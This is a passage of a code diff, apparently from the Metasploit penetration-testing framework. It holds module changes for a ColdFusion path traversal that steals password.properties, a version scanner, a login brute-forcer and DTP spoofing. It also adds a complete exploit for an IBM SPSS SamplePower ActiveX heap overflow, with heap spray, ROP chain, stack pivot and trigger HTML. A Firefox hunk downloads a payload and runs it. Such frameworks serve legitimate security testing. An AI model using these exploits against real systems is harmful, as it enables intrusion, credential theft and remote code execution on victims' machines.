file = (out =~ /ColdFusion 9/) ? '/opt/coldfusion9/lib/password.properties' : '/opt/coldfusion10/cfusion/lib/password.properties'
|
||||
end
|
||||
|
||||
if(response.body =~ /Adobe/ and response.body =~ /ColdFusion/ and file == '')
|
||||
print_error("#{peer} Fingerprint failed...aborting")
|
||||
print_status("response: #{response.body}")
|
||||
return nil,nil
|
||||
end
|
||||
|
||||
return out,"#{trav}#{file}"
|
||||
end
|
||||
|
||||
def check
|
||||
vuln = false
|
||||
url = '/CFIDE/adminapi/customtags/l10n.cfm'
|
||||
res = send_request_cgi({
|
||||
'uri' => url,
|
||||
'method' => 'GET',
|
||||
'Connection' => "keep-alive",
|
||||
'Accept-Encoding' => "zip,deflate",
|
||||
})
|
||||
|
||||
if(res != nil)
|
||||
# can't stack b/c res.code won't exist if res is nil
|
||||
vuln = true if(res.code == 500 and res.body =~ /attributes\.id was not provided/)
|
||||
end
|
||||
|
||||
if(vuln)
|
||||
url = '/CFIDE/administrator/mail/download.cfm'
|
||||
res = send_request_cgi({
|
||||
'uri' => url,
|
||||
'method' => 'GET',
|
||||
'Connection' => "keep-alive",
|
||||
'Accept-Encoding' => "zip,deflate",
|
||||
})
|
||||
if(res != nil)
|
||||
vuln = false if (res.code != 200)
|
||||
end
|
||||
end
|
||||
|
||||
return vuln
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
filename = ""
|
||||
case action.name
|
||||
when 'ColdFusion10'
|
||||
filename = "../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties"
|
||||
when 'ColdFusion9'
|
||||
filename = "../../../../../../../../../../../../../../../opt/coldfusion9/lib/password.properties"
|
||||
|
||||
url = '/CFIDE/administrator/index.cfm'
|
||||
# print_status("Getting index...")
|
||||
res = send_request_cgi({
|
||||
'uri' => url,
|
||||
'method' => 'GET',
|
||||
'Connection' => "keep-alive",
|
||||
'Accept-Encoding' => "zip,deflate",
|
||||
})
|
||||
# print_status("Got back: #{res.inspect}")
|
||||
return if not res
|
||||
return if not res.body or not res.code
|
||||
return if not res.code.to_i == 200
|
||||
|
||||
out, filename = fingerprint(res)
|
||||
print_status("#{peer} #{out}") if out
|
||||
|
||||
if(out =~ /Not Vulnerable/)
|
||||
print_status("#{peer} isn't vulnerable to this attack")
|
||||
return
|
||||
end
|
||||
|
||||
if(not check)
|
||||
print_status("#{peer} can't be exploited (either files missing or permissions block access)")
|
||||
return
|
||||
end
|
||||
|
||||
if (datastore['CHECK'] )
|
||||
print_good("#{peer} is vulnerable and most likely exploitable") if check
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'CFIDE', 'adminapi', 'customtags', 'l10n.cfm'),
|
||||
@@ -102,5 +229,4 @@ class Metasploit3 < Msf::Auxiliary
|
||||
p = store_loot('coldfusion.password.properties', 'text/plain', rhost, res.body)
|
||||
print_good("#{peer} - password.properties stored in '#{p}'")
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -17,9 +17,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||
super(
|
||||
'Name' => 'ColdFusion Version Scanner',
|
||||
'Description' => %q{
|
||||
This module attempts identify various flavors of ColdFusion as well as the underlying OS
|
||||
This module attempts identify various flavors of ColdFusion up to version 10
|
||||
as well as the underlying OS.
|
||||
},
|
||||
'Author' => [ 'nebulus' ],
|
||||
'Author' =>
|
||||
[
|
||||
'nebulus', # Original
|
||||
'sinn3r' # Fingerprint() patch for Cold Fusion 10
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
end
|
||||
@@ -30,7 +35,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
if(response.headers['Server'] =~ /IIS/ or response.headers['Server'] =~ /\(Windows/)
|
||||
os = "Windows (#{response.headers['Server']})"
|
||||
elsif(response.headers['Server'] =~ /Apache\//)
|
||||
os = "Unix (#{response.headers['Server']})"
|
||||
os = "Unix (#{response.headers['Server']})"
|
||||
else
|
||||
os = response.headers['Server']
|
||||
end
|
||||
@@ -43,7 +48,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||
title = $1
|
||||
title.gsub!(/\s/, '')
|
||||
end
|
||||
return nil if( title == 'Not Found' or not title =~ /ColdFusionAdministrator/)
|
||||
|
||||
return nil if( title == 'Not Found' or not title =~ /ColdFusionAdministrator/)
|
||||
|
||||
out = nil
|
||||
|
||||
@@ -54,8 +60,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||
out = "Adobe ColdFusion MX7"
|
||||
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2006 Adobe/)
|
||||
out = "Adobe ColdFusion 8"
|
||||
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2010 Adobe/ and
|
||||
response.body =~ /1997\-2012 Adobe Systems Incorporated and its licensors/)
|
||||
out = "Adobe ColdFusion 10"
|
||||
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2010 Adobe/ or
|
||||
response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2009 Adobe Systems\, Inc\. All rights reserved/)
|
||||
response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2009 Adobe Systems\, Inc\. All rights reserved/ or
|
||||
response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1997\-2012 Adobe Systems\, Inc\. All rights reserved/)
|
||||
out = "Adobe ColdFusion 9"
|
||||
elsif(response.body =~ /<meta name=\"Keywords\" content=\"(.*)\">\s+<meta name/)
|
||||
out = $1.split(/,/)[0]
|
||||
@@ -76,8 +86,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||
url = '/CFIDE/administrator/index.cfm'
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => url,
|
||||
'method' => 'GET',
|
||||
'uri' => url,
|
||||
'method' => 'GET',
|
||||
})
|
||||
|
||||
return if not res or not res.body or not res.code
|
||||
|
||||
@@ -149,18 +149,20 @@ class Metasploit3 < Msf::Auxiliary
|
||||
print_status("#{target_url} - Random passwords are not allowed.")
|
||||
end
|
||||
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => (ssl ? 'https' : 'http'),
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:proof => "WEBAPP=\"Generic\", PROOF=#{response.to_s}",
|
||||
:source_type => "user_supplied",
|
||||
:active => true
|
||||
)
|
||||
unless (user == "anyuser" and pass == "anypass")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => (ssl ? 'https' : 'http'),
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:proof => "WEBAPP=\"Generic\", PROOF=#{response.to_s}",
|
||||
:source_type => "user_supplied",
|
||||
:active => true
|
||||
)
|
||||
end
|
||||
|
||||
return :abort if ([any_user,any_pass].include? :success)
|
||||
return :abort if ([any_user,any_pass].include? :success)
|
||||
return :next_user
|
||||
else
|
||||
vprint_error("#{target_url} - Failed to login as '#{user}'")
|
||||
|
||||
@@ -75,7 +75,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||
uri = normalize_uri(datastore['URI'])
|
||||
res = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'method' => 'GET'
|
||||
'method' => 'GET',
|
||||
'username' => Rex::Text.rand_text_alpha(8)
|
||||
}, 25)
|
||||
http_fingerprint({ :response => res })
|
||||
rescue ::Rex::ConnectionError => e
|
||||
|
||||
@@ -17,7 +17,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
'Description' => %q{
|
||||
This module forges DTP packets to initialize a trunk port.
|
||||
},
|
||||
'Author' => [ 'Spencer McIntyre <zerosteiner [at] gmail.com>' ],
|
||||
'Author' => [ 'Spencer McIntyre' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' =>
|
||||
[
|
||||
@@ -54,7 +54,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def smac
|
||||
@spoof_mac ||= datastore['SMAC']
|
||||
@spoof_mac ||= get_mac(interface) if netifaces_implemented?
|
||||
@spoof_mac ||= get_mac(datastore['INTERFACE']) if netifaces_implemented?
|
||||
return @spoof_mac
|
||||
end
|
||||
|
||||
@@ -62,7 +62,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
unless smac()
|
||||
print_error 'Source MAC (SMAC) should be defined'
|
||||
else
|
||||
unless is_mac? smac()
|
||||
unless is_mac? smac
|
||||
print_error "Source MAC (SMAC) `#{smac}' is badly formatted."
|
||||
else
|
||||
print_status "Starting DTP spoofing service..."
|
||||
|
||||
Executable → Regular
@@ -14,7 +14,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
||||
def initialize(info = {})
|
||||
|
||||
super(update_info(info,
|
||||
'Name' => 'Nginx HTTP Server 1.3.9-1.4.0 Chuncked Encoding Stack Buffer Overflow',
|
||||
'Name' => 'Nginx HTTP Server 1.3.9-1.4.0 Chunked Encoding Stack Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack buffer overflow in versions 1.3.9 to 1.4.0 of nginx.
|
||||
The exploit first triggers an integer overflow in the ngx_http_parse_chunked() by
|
||||
|
||||
@@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Firefox 17.0.1 + Flash Privileged Code Injection',
|
||||
'Name' => 'Firefox 17.0.1 Flash Privileged Code Injection',
|
||||
'Description' => %q{
|
||||
This exploit gains remote code execution on Firefox 17.0.1 and all previous
|
||||
versions, provided the user has installed Flash. No memory corruption is used.
|
||||
@@ -180,11 +180,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
x.send(null);
|
||||
#{js_debug("'Payload: '+x.responseText", "")}
|
||||
var file = Components.classes["@mozilla.org/file/directory_service;1"]
|
||||
.getService(Components.interfaces.nsIProperties)
|
||||
.get("TmpD", Components.interfaces.nsIFile);
|
||||
.getService(Components.interfaces.nsIProperties)
|
||||
.get("TmpD", Components.interfaces.nsIFile);
|
||||
file.append('#{payload_filename(target)}');
|
||||
var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"]
|
||||
.createInstance(Components.interfaces.nsIFileOutputStream);
|
||||
.createInstance(Components.interfaces.nsIFileOutputStream);
|
||||
stream.init(file, 0x04 \| 0x08 \| 0x20, 0666, 0);
|
||||
stream.write(x.responseText, x.responseText.length);
|
||||
if (stream instanceof Components.interfaces.nsISafeOutputStream) {
|
||||
@@ -195,7 +195,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
#{chmod_code(target)}
|
||||
#{js_debug("'Downloaded to: '+file.path", "")}
|
||||
var process = Components.classes["@mozilla.org/process/util;1"]
|
||||
.createInstance(Components.interfaces.nsIProcess);
|
||||
.createInstance(Components.interfaces.nsIProcess);
|
||||
process.init(file);
|
||||
process.run(false, [], 0);
|
||||
|
|
||||
@@ -285,7 +285,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
</script>
|
||||
|
||||
<iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"
|
||||
name="#{vars[:frame_name]}"></iframe>
|
||||
name="#{vars[:frame_name]}"></iframe>
|
||||
#{vars[:content]}
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'BadChars' => '',
|
||||
'DisableNops' => true,
|
||||
},
|
||||
'Platform' => [ 'win', 'linux', 'solaris', 'unix', 'osx', 'bsd', 'php', 'java','ruby','js','python' ],
|
||||
'Platform' => [ 'win', 'linux', 'solaris', 'unix', 'osx', 'bsd', 'php', 'java', 'ruby', 'js', 'python', 'android' ],
|
||||
'Arch' => ARCH_ALL,
|
||||
'Targets' => [ [ 'Wildcard Target', { } ] ],
|
||||
'DefaultTarget' => 0
|
||||
|
||||
@@ -0,0 +1,479 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::RopDb
|
||||
include Msf::Exploit::Remote::BrowserAutopwn
|
||||
|
||||
autopwn_info({
|
||||
:ua_name => HttpClients::IE,
|
||||
:ua_minver => "6.0",
|
||||
:ua_maxver => "8.0",
|
||||
:javascript => true,
|
||||
:os_name => OperatingSystems::WINDOWS,
|
||||
:rank => NormalRanking,
|
||||
:classid => "{24E04EBF-014D-471F-930E-7654B1193BA9}",
|
||||
:method => "TabCaption"
|
||||
})
|
||||
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "IBM SPSS SamplePower C1Tab ActiveX Heap Overflow",
|
||||
'Description' => %q{
|
||||
This module exploits a heap based buffer overflow in the C1Tab ActiveX control,
|
||||
while handling the TabCaption property. The affected control can be found in the
|
||||
c1sizer.ocx component as included with IBM SPSS SamplePower 3.0. This module has
|
||||
been tested successfully on IE 6, 7 and 8 on Windows XP SP3 and IE 8 on Windows 7
|
||||
SP1.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Alexander Gavrun', # Vulnerability discovery
|
||||
'juan vazquez' # Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2012-5946' ],
|
||||
[ 'OSVDB', '92845' ],
|
||||
[ 'BID', '59559' ],
|
||||
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21635476' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 991,
|
||||
'BadChars' => "\x00",
|
||||
'DisableNops' => true
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
# IBM SPSS SamplePower 3.0 / c1sizer.ocx 8.0.20071.39
|
||||
[ 'Automatic', {} ],
|
||||
[ 'IE 6 on Windows XP SP3',
|
||||
{
|
||||
'Offset' => '0x5F4',
|
||||
'Ret' => 0x0c0c0c08
|
||||
}
|
||||
],
|
||||
[ 'IE 7 on Windows XP SP3',
|
||||
{
|
||||
'Offset' => '0x5F4',
|
||||
'Ret' => 0x0c0c0c08
|
||||
}
|
||||
],
|
||||
[ 'IE 8 on Windows XP SP3',
|
||||
{
|
||||
'Offset' => '0x5f4',
|
||||
'Ret' => 0x0c0c0c0c,
|
||||
'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret
|
||||
}
|
||||
],
|
||||
[ 'IE 8 on Windows 7',
|
||||
{
|
||||
'Offset' => '0x5f4',
|
||||
'Ret' => 0x0c0c0c0c,
|
||||
'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Apr 26 2013",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def get_target(agent)
|
||||
#If the user is already specified by the user, we'll just use that
|
||||
return target if target.name != 'Automatic'
|
||||
|
||||
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
|
||||
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
|
||||
|
||||
ie_name = "IE #{ie}"
|
||||
|
||||
case nt
|
||||
when '5.1'
|
||||
os_name = 'Windows XP SP3'
|
||||
when '6.0'
|
||||
os_name = 'Windows Vista'
|
||||
when '6.1'
|
||||
os_name = 'Windows 7'
|
||||
end
|
||||
|
||||
targets.each do |t|
|
||||
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
|
||||
print_status("Target selected as: #{t.name}")
|
||||
return t
|
||||
end
|
||||
end
|
||||
print_status("target not found #{agent}")
|
||||
return nil
|
||||
end
|
||||
|
||||
def ie_heap_spray(my_target, p)
|
||||
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
|
||||
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
|
||||
|
||||
# Land the payload at 0x0c0c0c0c
|
||||
# For IE 6, 7, 8
|
||||
js = %Q|
|
||||
var heap_obj = new heapLib.ie(0x20000);
|
||||
var code = unescape("#{js_code}");
|
||||
var nops = unescape("#{js_nops}");
|
||||
while (nops.length < 0x80000) nops += nops;
|
||||
var offset = nops.substring(0, #{my_target['Offset']});
|
||||
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
|
||||
while (shellcode.length < 0x40000) shellcode += shellcode;
|
||||
var block = shellcode.substring(0, (0x80000-6)/2);
|
||||
heap_obj.gc();
|
||||
for (var i=1; i < 0x300; i++) {
|
||||
heap_obj.alloc(block);
|
||||
}
|
||||
var overflow = nops.substring(0, 10);
|
||||
|
|
||||
|
||||
js = heaplib(js, {:noobfu => true})
|
||||
|
||||
if datastore['OBFUSCATE']
|
||||
js = ::Rex::Exploitation::JSObfu.new(js)
|
||||
js.obfuscate
|
||||
end
|
||||
|
||||
return js
|
||||
end
|
||||
|
||||
def junk(n=4)
|
||||
return rand_text_alpha(n).unpack("V").first
|
||||
end
|
||||
|
||||
def rop_chain
|
||||
# gadgets from c1sizer.ocx
|
||||
rop_gadgets =
|
||||
[
|
||||
0x0c0c0c10,
|
||||
0x10026984, # ADD ESP,10 # POP EDI # POP ESI # POP EBX # POP EBP # RETN # stackpivot to the controlled stack
|
||||
0x100076f1, # pop eax # ret
|
||||
0x10029134, # &VirtualAllox
|
||||
0x1001b41e, # jmp [eax]
|
||||
0x0c0c0c34, # ret address
|
||||
0x0c0c0c0c, # lpAddress
|
||||
0x00001000, # dwSize
|
||||
0x00001000, # flAllocationType
|
||||
0x00000040 # flProtect
|
||||
].pack("V*")
|
||||
|
||||
return rop_gadgets
|
||||
end
|
||||
|
||||
def get_payload(t, cli)
|
||||
code = payload.encoded
|
||||
# No rop. Just return the payload.
|
||||
|
||||
if (t.name =~ /IE 6/ or t.name =~ /IE 7/)
|
||||
fake_memory = [
|
||||
0x0c0c0c10,
|
||||
0x0c0c0c14
|
||||
].pack("V*")
|
||||
return fake_memory + code
|
||||
end
|
||||
|
||||
return rop_chain + stack_pivot + code
|
||||
end
|
||||
|
||||
# Objects filling aren't randomized because
|
||||
# this combination make exploit more reliable.
|
||||
def fake_object(size)
|
||||
object = "B" * 8 # metadata
|
||||
object << "D" * size # fake object
|
||||
return object
|
||||
end
|
||||
|
||||
def stack_pivot
|
||||
pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
|
||||
pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
|
||||
pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
|
||||
pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
|
||||
return pivot
|
||||
end
|
||||
|
||||
# Check the memory layout documentation at the end of the module
|
||||
def overflow_xp
|
||||
buf = rand_text_alpha(0x10000)
|
||||
# Start to overflow
|
||||
buf << fake_object(0x40)
|
||||
buf << fake_object(0x30)
|
||||
buf << fake_object(0x30)
|
||||
buf << fake_object(0x40)
|
||||
buf << fake_object(0x10)
|
||||
buf << fake_object(0x10)
|
||||
buf << fake_object(0x20)
|
||||
buf << fake_object(0x10)
|
||||
buf << fake_object(0x30)
|
||||
buf << "B" * 0x8 # metadata chunk
|
||||
buf << "\x0c" * 0x40 # Overflow first 0x40 of the exploited object
|
||||
end
|
||||
|
||||
# Check the memory layout documentation at the end of the module
|
||||
def overflow_xp_ie8
|
||||
buf = [
|
||||
junk, # padding
|
||||
0x1001b557, # pop eax # c1sizer.ocx
|
||||
0x0c0c0c14, # eax
|
||||
0x10028ad8 # xchg eax,esp # c1sizer.ocx # stackpivot to the heap
|
||||
].pack("V*")
|
||||
buf << rand_text_alpha(0x10000-16)
|
||||
# Start to overflow
|
||||
buf << "B" * 0x8 # metadata chunk
|
||||
buf << "\x0c" * 0x40 # Overflow first 0x40 of the exploited object
|
||||
end
|
||||
|
||||
# Check the memory layout documentation at the end of the module
|
||||
def overflow_w7
|
||||
buf = [
|
||||
junk, # padding
|
||||
0x1001b557, # pop eax # c1sizer.ocx
|
||||
0x0c0c0c14, # eax
|
||||
0x10028ad8 # xchg eax,esp # c1sizer.ocx # stackpivot to the heap
|
||||
].pack("V*")
|
||||
buf << rand_text_alpha(0x10000-16)
|
||||
# Start to oveflow
|
||||
buf << fake_object(0x3f8)
|
||||
buf << fake_object(0x1a0)
|
||||
buf << fake_object(0x1e0)
|
||||
buf << fake_object(0x1a0)
|
||||
buf << fake_object(0x1e0)
|
||||
buf << fake_object(0x1a0)
|
||||
buf << "B" * 0x8 # metadata chunk
|
||||
buf << "\x0c" * 0x40 # Overflow first 0x40 of the exploited object
|
||||
end
|
||||
|
||||
def get_overflow(t)
|
||||
if t.name =~ /Windows 7/
|
||||
return overflow_w7
|
||||
elsif t.name =~ /Windows XP/ and t.name =~ /IE 8/
|
||||
return overflow_xp_ie8
|
||||
elsif t.name =~ /Windows XP/
|
||||
return overflow_xp
|
||||
end
|
||||
end
|
||||
|
||||
# * 15 C1TAB objects are used to defragement the heap, so objects are stored after the vulnerable buffer.
|
||||
# * Based on empirical tests, 5th C1TAB comes after the vulnerable buffer.
|
||||
# * Using the 7th CITAB is possible to overflow itself and get control before finishing the set of the
|
||||
# TabCaption property.
|
||||
def trigger_w7
|
||||
target = rand_text_alpha(5 + rand(3))
|
||||
target2 = rand_text_alpha(5 + rand(3))
|
||||
target3 = rand_text_alpha(5 + rand(3))
|
||||
target4 = rand_text_alpha(5 + rand(3))
|
||||
target5 = rand_text_alpha(5 + rand(3))
|
||||
target6 = rand_text_alpha(5 + rand(3))
|
||||
target7 = rand_text_alpha(5 + rand(3))
|
||||
target8 = rand_text_alpha(5 + rand(3))
|
||||
target9 = rand_text_alpha(5 + rand(3))
|
||||
target10 = rand_text_alpha(5 + rand(3))
|
||||
target11 = rand_text_alpha(5 + rand(3))
|
||||
target12 = rand_text_alpha(5 + rand(3))
|
||||
target13 = rand_text_alpha(5 + rand(3))
|
||||
target14 = rand_text_alpha(5 + rand(3))
|
||||
target15 = rand_text_alpha(5 + rand(3))
|
||||
|
||||
objects = %Q|
|
||||
<object id="#{target}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||||
<object id="#{target2}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||||
<object id="#{target3}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||||
<object id="#{target4}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||||
<object id="#{target5}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||||
<object id="#{target6}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||||
<object id="#{target7}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||||
<object id="#{target8}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||||
<object id="#{target9}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||||
<object id="#{target10}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||||
<object id="#{target11}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||||
<object id="#{target12}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||||
<object id="#{target13}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||||
<object id="#{target14}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||||
<object id="#{target15}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||||
|
|
||||
return objects, target7
|
||||
end
|
||||
|
||||
# * Based on empirical test, the C1TAB object comes after the vulnerable buffer on memory, so just
|
||||
# an object is sufficient to overflow itself and get control execution.
|
||||
def trigger_xp
|
||||
target = rand_text_alpha(5 + rand(3))
|
||||
|
||||
objects = %Q|
|
||||
<object id="#{target}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||||
|
|
||||
return objects, target
|
||||
end
|
||||
|
||||
def get_trigger(t)
|
||||
if t.name =~ /Windows 7/
|
||||
return trigger_w7
|
||||
elsif t.name =~ /Windows XP/
|
||||
return trigger_xp
|
||||
end
|
||||
end
|
||||
|
||||
def load_exploit_html(my_target, cli)
|
||||
p = get_payload(my_target, cli)
|
||||
js = ie_heap_spray(my_target, p)
|
||||
buf = get_overflow(my_target)
|
||||
|
||||
objects, target_object = get_trigger(my_target)
|
||||
|
||||
html = %Q|
|
||||
<html>
|
||||
<head>
|
||||
</head>
|
||||
<body>
|
||||
#{objects}
|
||||
<script>
|
||||
CollectGarbage();
|
||||
#{js}
|
||||
#{target_object}.Caption = "";
|
||||
#{target_object}.TabCaption(0) = "#{buf}";
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
|
||||
return html
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
agent = request.headers['User-Agent']
|
||||
uri = request.uri
|
||||
print_status("Requesting: #{uri}")
|
||||
|
||||
my_target = get_target(agent)
|
||||
# Avoid the attack if no suitable target found
|
||||
if my_target.nil?
|
||||
print_error("Browser not supported, sending 404: #{agent}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
html = load_exploit_html(my_target, cli)
|
||||
html = html.gsub(/^\t\t/, '')
|
||||
print_status("Sending HTML...")
|
||||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
=begin
|
||||
|
||||
[*] Windows XP / ie6 & ie7 memory layout at oveflow, based on empirical test
|
||||
|
||||
Heap entries for Segment01 in Heap 01ca0000
|
||||
address: psize . size flags state (requested size)
|
||||
025c0000: 00000 . 00040 [01] - busy (40)
|
||||
025c0040: 00040 . 10008 [01] - busy (10000)
|
||||
025d0048: 10008 . 10008 [01] - busy (10000) // Overflowed buffer
|
||||
025e0050: 10008 . 00048 [01] - busy (40)
|
||||
025e0098: 00048 . 00038 [01] - busy (30)
|
||||
025e00d0: 00038 . 00038 [01] - busy (30)
|
||||
025e0108: 00038 . 00048 [01] - busy (40)
|
||||
025e0150: 00048 . 00018 [01] - busy (10)
|
||||
025e0168: 00018 . 00018 [01] - busy (10)
|
||||
025e0180: 00018 . 00028 [01] - busy (20)
|
||||
025e01a8: 00028 . 00018 [01] - busy (10)
|
||||
025e01c0: 00018 . 00010 [00]
|
||||
025e01d0: 00010 . 00038 [01] - busy (30)
|
||||
025e0208: 00038 . 001e8 [01] - busy (1e0) // Vulnerable object
|
||||
025e03f0: 001e8 . 001a8 [01] - busy (1a0)
|
||||
|
||||
|
||||
[*] Windows XP / ie8 memory layout at oveflow, based on empirical test
|
||||
|
||||
Heap entries for Segment01 in Heap 03350000
|
||||
address: psize . size flags state (requested size)
|
||||
03840000: 00000 . 00040 [01] - busy (40)
|
||||
03840040: 00040 . 10008 [01] - busy (10000)
|
||||
03850048: 10008 . 10008 [01] - busy (10000) // Overflowed buffer
|
||||
03860050: 10008 . 001e8 [01] - busy (1e0) // Vulnerable object
|
||||
03860238: 001e8 . 001a8 [01] - busy (1a0)
|
||||
038603e0: 001a8 . 00078 [00]
|
||||
03860458: 00078 . 00048 [01] - busy (40)
|
||||
038604a0: 00048 . 00048 [01] - busy (40)
|
||||
038604e8: 00048 . 00618 [01] - busy (610)
|
||||
03860b00: 00618 . 10208 [01] - busy (10200)
|
||||
03870d08: 10208 . 032f8 [10]
|
||||
03874000: 000cc000 - uncommitted bytes.
|
||||
|
||||
|
||||
[*] windows 7 / ie8 memory layout at oveflow, based on empirical test
|
||||
|
||||
03240000: 00000 . 00040 [101] - busy (3f)
|
||||
03240040: 00040 . 10008 [101] - busy (10000)
|
||||
03250048: 10008 . 10008 [101] - busy (10000) # Overwritten buffer
|
||||
03260050: 10008 . 00400 [101] - busy (3f8) Internal
|
||||
03260450: 00400 . 001a8 [101] - busy (1a0)
|
||||
032605f8: 001a8 . 001e8 [101] - busy (1e0)
|
||||
032607e0: 001e8 . 001a8 [101] - busy (1a0)
|
||||
03260988: 001a8 . 001e8 [101] - busy (1e0)
|
||||
03260b70: 001e8 . 001a8 [101] - busy (1a0)
|
||||
03260d18: 001a8 . 001e8 [101] - busy (1e0) # Our vulnerable object, target7, seems reliable according to testing
|
||||
03260f00: 001e8 . 001a8 [101] - busy (1a0)
|
||||
032610a8: 001a8 . 001e8 [101] - busy (1e0)
|
||||
03261290: 001e8 . 001a8 [101] - busy (1a0)
|
||||
03261438: 001a8 . 001e8 [101] - busy (1e0)
|
||||
03261620: 001e8 . 001a8 [101] - busy (1a0)
|
||||
